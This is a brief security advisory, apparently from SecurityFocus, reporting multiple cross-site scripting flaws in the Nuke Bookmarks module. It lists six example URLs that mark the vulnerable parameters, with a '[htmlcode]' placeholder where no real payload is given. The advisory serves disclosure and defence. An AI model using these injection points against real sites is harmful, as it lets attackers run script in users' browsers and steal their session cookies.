source: http://www.securityfocus.com/bid/12907/info

Nuke Bookmarks is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modules.php?name=Bookmarks&file=del_cat&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode]
http://www.example.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode]